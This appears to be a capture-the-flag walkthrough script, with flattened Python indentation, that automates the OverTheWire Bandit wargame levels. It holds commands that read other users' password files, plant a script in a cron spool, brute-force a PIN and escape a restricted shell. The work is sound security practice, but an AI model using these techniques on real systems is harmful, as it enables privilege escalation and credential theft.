This script contains my efforts to script the solutions to the bandit challenges on OverTheWire. This makes heavy use of the paramiko module to run ssh commands
- sshpass
- pygit2
- paramiko
import base64
import gzip
import itertools
import json
import os
import paramiko
import pygit2
import re
import shutil
import subprocess
import sys
import time
import utils
host = "bandit.labs.overthewire.org"
ssh_port = 2220
credentials = {"bandit0": "bandit0"}
def save():
with open('bandit.progress', 'w') as f:
json.dump(credentials, f)
def load():
global credentials
with open('bandit.progress', 'r') as f:
credentials = json.load(f)
try:
load()
except:
pass
try:
os.mkdir('working')
except:
pass
print("Initializing ssh client")
ssh = paramiko.SSHClient()
ssh.load_system_host_keys()
def connect(username: str):
creds = credentials[username]
if isinstance(creds, str):
ssh.connect(host, ssh_port, username=username, password=creds)
else:
if os.path.exists(creds[0]):
ssh.connect(host, ssh_port, username=username, key_filename = creds[0])
else:
ssh.connect(host, ssh_port, username=username, password=creds[1])
def make_work_dir():
path = '/tmp/jaydlc'
ssh.exec_command(F'mkdir {path} && chmod 777 {path}')
return path
def clone_repo(username: str):
url = F"ssh://{username}-git@{host}:{ssh_port}/home/{username}-git/repo"
creds = pygit2.UserPass(F"{username}-git", credentials[username])
callbacks = pygit2.RemoteCallbacks(credentials=creds)
clone_path = F"./working/{username}/repo"
try:
pygit2.clone_repository(url, clone_path, callbacks=callbacks)
except ValueError as e:
if not "exists" in e.args[0]:
raise
return clone_path
def bandit0():
print("Pwning bandit0")
connect('bandit0')
_, out, _ = ssh.exec_command('cat readme')
credentials["bandit1"] = out.read().decode().strip()
save()
def bandit1():
print("Pwning bandit1")
connect('bandit1')
_, out, _ = ssh.exec_command('cat ./-')
credentials["bandit2"] = out.readline().strip()
save()
def bandit2():
print("Pwning bandit2")
connect('bandit2')
_, out, _ = ssh.exec_command('cat "spaces in this filename"')
credentials["bandit3"] = out.readline().strip()
save()
def bandit3():
print("Pwning bandit3")
connect('bandit3')
_, out, _ = ssh.exec_command('cat ./inhere/.hidden')
credentials["bandit4"] = out.read().decode().strip()
save()
def bandit4():
print("Pwning bandit4")
connect('bandit4')
# Find only human readable file in the 'inhere' directory
_, out, _ = ssh.exec_command('file ./inhere/*')
file = [f for f in out.read().decode().split('\n') if 'ASCII' in f][0].split(":")[0]
_, out, _ = ssh.exec_command(F'cat {file}')
credentials["bandit5"] = out.read().decode().strip()
save()
def bandit5():
print("Pwning bandit5")
connect('bandit5')
# Find the file with the specified properties and read it
_, out, _ = ssh.exec_command(r'find ./inhere/ -size 1033c \! -executable -exec cat {} \;')
credentials["bandit6"] = out.read().decode().strip()
save()
def bandit6():
print("Pwning bandit6")
connect('bandit6')
# Find the file with the specified properties and read it
_, out, _ = ssh.exec_command(r'find / -user bandit7 -group bandit6 -size 33c -exec cat {} \;')
credentials["bandit7"] = out.read().decode().strip()
save()
def bandit7():
print("Pwning bandit7")
connect('bandit7')
# Find the file with the specified properties and read it
_, out, _ = ssh.exec_command(r'grep millionth data.txt | xargs | cut -d " " -f2')
credentials["bandit8"] = out.read().decode().strip()
save()
def bandit8():
print("Pwning bandit8")
connect('bandit8')
# Find the file with the specified properties and read it
_, out, _ = ssh.exec_command('sort data.txt | uniq -u')
credentials["bandit9"] = out.read().decode().strip()
save()
def bandit9():
print("Pwning bandit9")
connect('bandit9')
# Find the file with the specified properties and read it
_, out, _ = ssh.exec_command(r'strings data.txt | grep -oE "= \w*" | tail -n 1 | cut -d " " -f2')
credentials["bandit10"] = out.read().decode().strip()
save()
def bandit10():
print("Pwning bandit10")
connect('bandit10')
# Find the file with the specified properties and read it
_, out, _ = ssh.exec_command('cat data.txt | base64 -d | cut -d " " -f4')
credentials["bandit11"] = out.read().decode().strip()
save()
def bandit11():
print("Pwning bandit11")
connect('bandit11')
# Find the file with the specified properties and read it
_, out, err = ssh.exec_command('cat data.txt | tr "A-Za-z" "N-ZA-Mn-za-m" | cut -d " " -f4')
credentials["bandit12"] = out.read().decode().strip()
save()
def bandit12():
print("Pwning bandit12")
connect('bandit12')
root = os.getcwd()
cwd = 'working/bandit12'
try:
shutil.rmtree(cwd)
except:
pass
os.mkdir(cwd)
os.chdir(cwd)
sftp = ssh.open_sftp()
sftp.get('./data.txt', './data.txt')
sftp.close()
os.popen('cat data.txt | xxd -r > data2.gz').read()
utils.gzip_decompress('data2.gz', 'data3.bz2')
utils.bzip2_decompress('data3.bz2', 'data4.gz')
utils.gzip_decompress('data4.gz', 'data5.tar')
utils.tar_decompress('data5.tar', 'data6')
utils.tar_decompress('data6/data5.bin', 'data7')
utils.bzip2_decompress('data7/data6.bin', 'data8.tar')
utils.tar_decompress('data8.tar', 'data9')
utils.gzip_decompress('data9/data8.bin', 'data10')
with open('data10', 'r') as f:
credentials["bandit13"] = f.read().split(' ')[-1].strip()
os.chdir(root)
save()
def bandit13():
print("Pwning bandit13")
connect('bandit13')
root = os.getcwd()
cwd = 'working/bandit13'
try:
shutil.rmtree(cwd)
except:
pass
os.mkdir(cwd)
os.chdir(cwd)
sftp = ssh.open_sftp()
sftp.get('./sshkey.private', './bandit14_id_rsa')
sftp.close()
credentials["bandit14"] = [os.getcwd() + '/bandit14_id_rsa']
os.chdir(root)
save()
def bandit14():
print("Pwning bandit14")
connect('bandit14')
bandit14_pass_file = '/etc/bandit_pass/bandit14'
_, out, _ = ssh.exec_command('cat ' + bandit14_pass_file)
bandit14_creds = credentials['bandit14']
passwd = out.read().decode().strip()
if (len(bandit14_creds) == 1):
bandit14_creds.append(passwd)
else:
bandit14_creds[1] = passwd
_, out, _ = ssh.exec_command(F'nc localhost 30000 < {bandit14_pass_file} | xargs | cut -d " " -f2')
credentials['bandit15'] = out.read().decode().strip()
save()
def bandit15():
print("Pwning bandit15")
connect('bandit15')
stdin, out, err = ssh.exec_command('ncat -v --ssl localhost 30001')
print(err.readline())
print(err.readline())
print(err.readline())
print(err.readline())
print(err.readline())
print(err.readline())
stdin.write(F"{credentials['bandit15']}\n")
out.readline()
passwd = out.readline().strip()
credentials['bandit16'] = passwd
save()
def bandit16():
print("Pwning bandit16")
connect('bandit16')
_, out, _ = ssh.exec_command('nmap -p 31000-32000 localhost')
nmap_scan = out.read().decode()
ports = re.findall(r'^[0-9]{5}', nmap_scan, re.MULTILINE)
for port in ports:
_, out, _ = ssh.exec_command(F'cat /etc/bandit_pass/bandit16 | openssl s_client -connect localhost:{port} -quiet 2>/dev/null')
response_header = out.readline()
if "Correct" in response_header:
rsa_key = out.read().decode()
break
try:
os.mkdir('working/bandit16')
except:
pass
file_path = 'working/bandit16/bandit17_id_rsa'
with open(file_path, 'w') as f:
f.write(rsa_key)
credentials['bandit17'] = [os.getcwd() + "/" + file_path]
save()
def bandit17():
print("Pwning bandit17")
connect('bandit17')
_, out, _ = ssh.exec_command('cat /etc/bandit_pass/bandit17')
creds = credentials['bandit17']
passwd = out.readline().strip()
if len(creds) == 1:
creds.append(passwd)
else:
creds[1] = passwd
_, out, _ = ssh.exec_command('diff passwords.new passwords.old')
passwd = re.findall(r'< .*$', out.read().decode(), re.MULTILINE)[0][2:]
credentials['bandit18'] = passwd
save()
Trying to log in with the normal ssh
command will kick us out but with paramiko it’s pretty simple.
def bandit18():
print("Pwning bandit18")
connect('bandit18')
_, out, _ = ssh.exec_command('cat readme')
credentials['bandit19'] = out.readline().strip()
save()
The normal way would be to use the command: ssh bandit18@bandit.labs.overthewire.org -p 2220 "cat readme"
def bandit19():
print("Pwning bandit19")
connect('bandit19')
_, out, _ = ssh.exec_command('./bandit20-do cat /etc/bandit_pass/bandit20')
credentials['bandit20'] = out.readline().strip()
save()
def bandit20():
print("Pwning bandit20")
connect('bandit20')
port = 4444
_, out, _ = ssh.exec_command(f'nc -lnvp {port} < /etc/bandit_pass/bandit20 & sleep 2 && ./suconnect {port}')
passwd = [x.strip() for x in out.readlines() if len(x) == 33][0]
credentials['bandit21'] = passwd
save()
The cronjob script is catting the bandit22 password file into a file in the /tmp folder every minute
connect('bandit21')
_, out, _ = ssh.exec_command('cat /etc/cron.d/cronjob_bandit22')
out.read().decode()
@reboot bandit22 /usr/bin/cronjob_bandit22.sh &> /dev/null * * * * * bandit22 /usr/bin/cronjob_bandit22.sh &> /dev/null
connect('bandit21')
_, out, _ = ssh.exec_command('cat /usr/bin/cronjob_bandit22.sh')
out.read().decode()
#!/bin/bash chmod 644 /tmp/t7O6lds9S0RqQh9aMcz6ShpAoZKF7fgv cat /etc/bandit_pass/bandit22 > /tmp/t7O6lds9S0RqQh9aMcz6ShpAoZKF7fgv
All we have to do is read that file
def bandit21():
print("Pwning bandit21")
connect('bandit21')
_, out, _ = ssh.exec_command('cat /tmp/t7O6lds9S0RqQh9aMcz6ShpAoZKF7fgv')
credentials['bandit22'] = out.readline().strip()
save()
Another cron script for us to look at and exploit
connect('bandit22')
_, out, _ = ssh.exec_command('cat /etc/cron.d/cronjob_bandit23')
out.read().decode()
@reboot bandit23 /usr/bin/cronjob_bandit23.sh &> /dev/null * * * * * bandit23 /usr/bin/cronjob_bandit23.sh &> /dev/null
connect('bandit22')
_, out, _ = ssh.exec_command('cat /usr/bin/cronjob_bandit23.sh')
"".join([x for x in out.readlines() if x.strip() != ""])
#!/bin/bash myname=$(whoami) mytarget=$(echo I am user $myname | md5sum | cut -d ' ' -f 1) echo "Copying passwordfile /etc/bandit_pass/$myname to /tmp/$mytarget" cat /etc/bandit_pass/$myname > /tmp/$mytarget
Running this bash script with the myname
variable set to bandit23, we see that the output of the password file is being written to another temp file like the previous challenge.
myname='bandit23'
mytarget=$(echo I am user $myname | md5sum | cut -d ' ' -f 1)
echo "Copying passwordfile /etc/bandit_pass/$myname to /tmp/$mytarget"
Copying passwordfile /etc/bandit_pass/bandit23 to /tmp/8ca319486bfbbc3663ea0fbe81326349
def bandit22():
print("Pwning bandit22")
connect('bandit22')
_, out, _ = ssh.exec_command('cat /tmp/8ca319486bfbbc3663ea0fbe81326349')
credentials['bandit23'] = out.readline().strip()
save()
More cron scripts! Except now we have to write our own
connect('bandit23')
_, out, _ = ssh.exec_command('cat /usr/bin/cronjob_bandit24.sh')
out.read().decode()
#!/bin/bash myname=$(whoami) cd /var/spool/$myname echo "Executing and deleting all scripts in /var/spool/$myname:" for i in * .*; do if [ "$i" != "." -a "$i" != ".." ]; then echo "Handling $i" owner="$(stat --format "%U" ./$i)" if [ "${owner}" = "bandit23" ]; then timeout -s 9 60 ./$i fi rm -f ./$i fi done
This script executes all script files in \/var/spool/bandit24/ Now we need to create our own script to be executed by the cronjob. We’ll just use a simple script to read the password file and put it in a temp file that we can read
def bandit23(show_progress=True):
print("Pwning bandit23")
connect('bandit23')
path = make_work_dir() + "/24"
script = f"""cat /etc/bandit_pass/bandit24 > {path}
chmod +rw {path}""".encode()
encoded = base64.b64encode(script).decode()
script_path = '/var/spool/bandit24/jaydlc.sh'
print("Sending over script to run")
command = F'echo {encoded} | base64 -d > {script_path} && chmod +x {script_path}'
ssh.exec_command(command)
print("Waiting for one minute before reading password file")
sleep_seconds = 60
_, out, _ = ssh.exec_command(f'sleep {sleep_seconds} && cat {path}')
for remaining in range(sleep_seconds, 0, -1):
if show_progress:
sys.stdout.write('\r')
sys.stdout.write('{:2d} seconds remaining'.format(remaining))
sys.stdout.flush()
time.sleep(1)
passwd = out.readline().strip()
if show_progress:
sys.stdout.write('\rRetrieved password! Password is ' + passwd)
credentials['bandit24'] = passwd
save()
def bandit24():
print("Pwning bandit24")
connect('bandit24')
root = os.getcwd()
cwd = 'working/bandit24'
try:
shutil.rmtree(cwd)
except:
pass
make_work_dir()
os.mkdir(cwd)
os.chdir(cwd)
combinations = ""
# https://stackoverflow.com/questions/41642851/brute-force-using-python/41642913
numbers = '0123456789'
for c in itertools.product(numbers, repeat=4):
pin = ''.join(c)
combinations += F"{credentials['bandit24']} {pin}\n"
file_name = 'combinations.txt'
with open(file_name, 'w') as f:
f.write(combinations)
sftp = ssh.open_sftp()
remote_path = '/tmp/jaydlc/combinations.txt'
sftp.put(file_name, remote_path)
time.sleep(4)
command = F'cat {remote_path} | nc localhost 30002 | grep password | tail -n 1 | cut -d " " -f7'
_, out, _ = ssh.exec_command(command)
passwd = out.readline().strip()
credentials['bandit25'] = passwd
os.chdir(root)
save()
def bandit25():
print("Pwning bandit25")
connect('bandit25')
root = os.getcwd()
cwd = 'working/bandit25'
try:
shutil.rmtree(cwd)
except:
pass
os.mkdir(cwd)
os.chdir(cwd)
sftp = ssh.open_sftp()
sftp.get('./bandit26.sshkey', './bandit26_id_rsa')
sftp.close()
credentials["bandit26"] = [os.getcwd() + '/bandit26_id_rsa']
os.chdir(root)
save()
Unfortunately, after getting the ssh key for bandit26, I have not figured out a way to automate the pwning of 27 due to bandit26’s login shell being more
.
The manual way to do it is to make your terminal really small so that more
enters command mode.
In command mode, press v
to open vi, enter :set shell=/bin/bash
to override the shell environment variable, and then enter :shell
.
After the bash shell has spawned, enter the command ./bandit27-do cat /etc/bandit_pass/bandit27
and you should get the password for bandit27.
def bandit27(view_output=False):
print("Pwning bandit27")
path = clone_repo('bandit27')
repo = pygit2.Repository(path)
with open(F'{path}/README') as f:
contents = f.read().strip()
passwd = contents.split(':')[1].strip()
credentials['bandit28'] = passwd
save()
The password was originally kept in one of the files. If we look at the diffs between commits we are able to find the password.
From the command line:
git log | grep -E '^commit' | cut -d " " -f2 | while read line; do git show $line; done | grep -E '\+- password: [^x<]' | cut -d " " -f3
def bandit28():
print("Pwning bandit28")
path = clone_repo('bandit28')
repo = pygit2.Repository(path)
for commit in repo.walk(repo.head.target):
diff = repo.diff(commit.parents[0], commit).patch
break
matches = re.findall(r'password: (.*)', diff, re.MULTILINE)
passwd = matches[0]
credentials['bandit29'] = passwd
save()
The password is found in the dev
branch of the repository. You can find what branches are on the remote by running the command git branch -r
.
def bandit29():
print("Pwning bandit29")
path = clone_repo('bandit29')
repo = pygit2.Repository(path)
branches = [b.decode() for b in repo.raw_listall_branches(pygit2.GIT_BRANCH_ALL)]
#x=repo.lookup_branch('origin/dev', pygit2.GIT_BRANCH_REMOTE)
repo.checkout('refs/remotes/origin/dev')
with open(F'{path}/README.md') as f:
contents = f.readlines()[-2]
passwd = contents.split(' ')[2].strip()
credentials['bandit30'] = passwd
save()
For this repository we have to read the secret
tag. From the cli: git show secret
.
def bandit30():
print("Pwning bandit30")
path = clone_repo('bandit30')
repo = pygit2.Repository(path)
tag_name = 'secret'
obj = repo.revparse_single(tag_name)
passwd = obj.data.decode().strip()
credentials['bandit31'] = passwd
save()
def bandit31():
print("Pwning bandit31")
path = clone_repo('bandit31')
repo = pygit2.Repository(path)
with open(path + "/key.txt", 'w') as f:
f.write("May I come in?")
try:
os.unlink(path + "/.gitignore")
except:
pass
index = repo.index
index.add("key.txt")
index.write()
out = os.popen(
F"cd {path} && sshpass -p '{credentials['bandit31']}' git push origin master 2>&1").read()
passwd = re.findall(r'password.*\nremote: (\w+)', out, re.MULTILINE)[0]
credentials['bandit32'] = passwd
save()